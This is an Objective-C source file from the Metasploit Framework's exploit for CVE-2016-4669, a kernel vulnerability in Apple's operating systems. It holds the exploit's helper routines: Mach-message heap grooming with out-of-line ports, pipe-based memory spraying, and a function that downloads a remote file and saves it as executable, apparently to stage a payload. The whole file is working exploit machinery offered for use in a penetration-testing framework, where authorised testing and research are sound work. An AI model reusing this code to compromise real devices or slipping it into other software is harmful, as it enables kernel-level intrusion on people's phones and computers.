metasploit-framework/external/source/exploits/CVE-2016-4669/utils.m

249 lines
5.3 KiB
Objective-C

// [1] https://github.com/externalist/exploit_playground/blob/master/empty_list/empty_list/empty_list/sploit.c
#include "utils.h"
void for_other_threads(void (^handler)(thread_act_t thread))
{
thread_act_t thread_self = mach_thread_self();
thread_act_port_array_t list;
mach_msg_type_number_t count;
kern_return_t kr = 0;
kr = task_threads(mach_task_self(), &list, &count);
if (kr != KERN_SUCCESS) {
LOG("task_threads failed");
return;
}
for (int i=0; i<count; i++) {
if (list[i] != thread_self) {
handler(list[i]);
}
}
}
void set_nofile_limit()
{
int ret;
struct rlimit rlim;
ret = getrlimit(RLIMIT_NOFILE, &rlim);
if (ret < 0) {
LOG("getresuid failed errno: %d", errno);
exit(-1);
}
LOG("nofile limit: %llx %llx", rlim.rlim_cur, rlim.rlim_max);
rlim.rlim_cur = 0x2000;
ret = setrlimit(RLIMIT_NOFILE, &rlim);
if (ret < 0) {
LOG("setrlimit failed errno: %d", errno);
exit(-1);
}
LOG("set new nofile limit: %llx", rlim.rlim_cur);
}
NSData *download_data(NSString *_url)
{
NSURL *url = [NSURL URLWithString:_url];
LOG("get %@", url);
NSData *urlData = [NSData dataWithContentsOfURL:url];
if (urlData != nil)
LOG("got remote len: %d", [urlData length]);
else
LOG("could not get %@", url);
return urlData;
}
int download(char *src, char *dest)
{
NSString *url = [NSString stringWithUTF8String:src];
NSData *data = download_data(url);
if (data == nil)
return -1;
unlink(dest);
sync();
int fd = open(dest, O_CREAT | O_RDWR,
S_IRUSR | S_IXUSR | S_IWUSR |
S_IRGRP | S_IXGRP |
S_IROTH | S_IXOTH
);
if (fd < 0) {
LOG("could not open %s", dest);
return -1;
}
int ret = write(fd, [data bytes], [data length]);
LOG("saved to %s, write ret: %d", dest, ret);
close(fd);
sync();
return 0;
}
mach_port_t alloc_port()
{
kern_return_t err;
mach_port_t port = MACH_PORT_NULL;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (err != KERN_SUCCESS) {
LOG("mach_port_allocate failed to allocate a port");
}
// insert a send right:
err = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
LOG("mach_port_insert_right failed");
}
return port;
}
// Controlled kernel memory allocations used below
// are taken from [1] and described there in great details.
typedef struct
{
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports;
uint8_t pad[0x200];
} kalloc_mach_msg_t;
kern_return_t kalloc_ool_ports(mach_port_t port, mach_port_t ool_port, size_t cnt)
{
kern_return_t err;
kalloc_mach_msg_t kalloc_msg = {0};
uint32_t msg_size = sizeof(kalloc_msg);
// send a message with two OOL NULL ports; these will end up in a kalloc.16:
kalloc_msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
kalloc_msg.hdr.msgh_size = msg_size; //sizeof(struct kalloc_16_send_msg);
kalloc_msg.hdr.msgh_remote_port = port;
kalloc_msg.hdr.msgh_local_port = MACH_PORT_NULL;
kalloc_msg.hdr.msgh_id = 0x41414141;
kalloc_msg.body.msgh_descriptor_count = 1;
mach_port_t ports[cnt];
for (int i=0; i<cnt; i++) {
ports[i] = ool_port;
}
kalloc_msg.ool_ports.address = ports;
kalloc_msg.ool_ports.count = cnt;
kalloc_msg.ool_ports.deallocate = 0;
kalloc_msg.ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND;
kalloc_msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
kalloc_msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
err = mach_msg(&kalloc_msg.hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
(mach_msg_size_t)msg_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
LOG("sending kalloc.8 message failed %s\n", mach_error_string(err));
}
return err;
}
kern_return_t kalloc_page_ool_ports(mach_port_t port)
{
return kalloc_ool_ports(port, MACH_PORT_NULL, PAGE_SIZE/4);
}
kern_return_t kalloc_8_ool_ports(mach_port_t port, mach_port_t ool_port)
{
return kalloc_ool_ports(port, ool_port, 2);
}
void discard_message(mach_port_t port)
{
static int8_t msg_buf[0x4000];
mach_msg_header_t* msg = (mach_msg_header_t*)msg_buf;
kern_return_t err;
err = mach_msg(msg,
MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE, // no timeout
0,
sizeof(msg_buf),
port,
0,
0);
if (err != KERN_SUCCESS){
LOG("error receiving on port: %s\n", mach_error_string(err));
}
mach_msg_destroy(msg);
}
void hexdump(void *ptr, size_t n)
{
uint32_t *u32 = ptr;
for (int i=0; i<n; i+=2) {
LOG("%08X %08X", u32[i], u32[i+1]);
}
}
int pipe_create(int fds[2])
{
int ret = pipe(fds);
if (ret < 0) {
LOG("pipe allocation failed errno: %d", errno);
return -1;
}
return 0;
}
int pipe_alloc(int fds[2], void *buf, size_t size)
{
int ret = write(fds[1], buf, size);
if (ret < 0) {
LOG("pipe write failed, fd: %d, errno: %d", fds[1], errno);
return -1;
}
return 0;
}
void pipes_close(int *pipes, size_t count)
{
for (int i=0; i<count; i++) {
if (pipes[i*2] != -1) {
close(pipes[i*2]);
close(pipes[i*2+1]);
}
}
}
int pipes_create(int *pipes, size_t count)
{
for (int i=0; i<count; i++) {
if (pipe_create(&pipes[i*2]) < 0) {
return -1;
}
}
return 0;
}
int pipes_alloc(int *pipes, size_t count, char *pipe_buf)
{
for (int i=0; i<count; i++) {
if (pipe_alloc(&pipes[i*2], pipe_buf, PAGE_SIZE-1) < 0) {
LOG("pipe alloc failed at %d", i);
return -1;
}
}
return 0;
}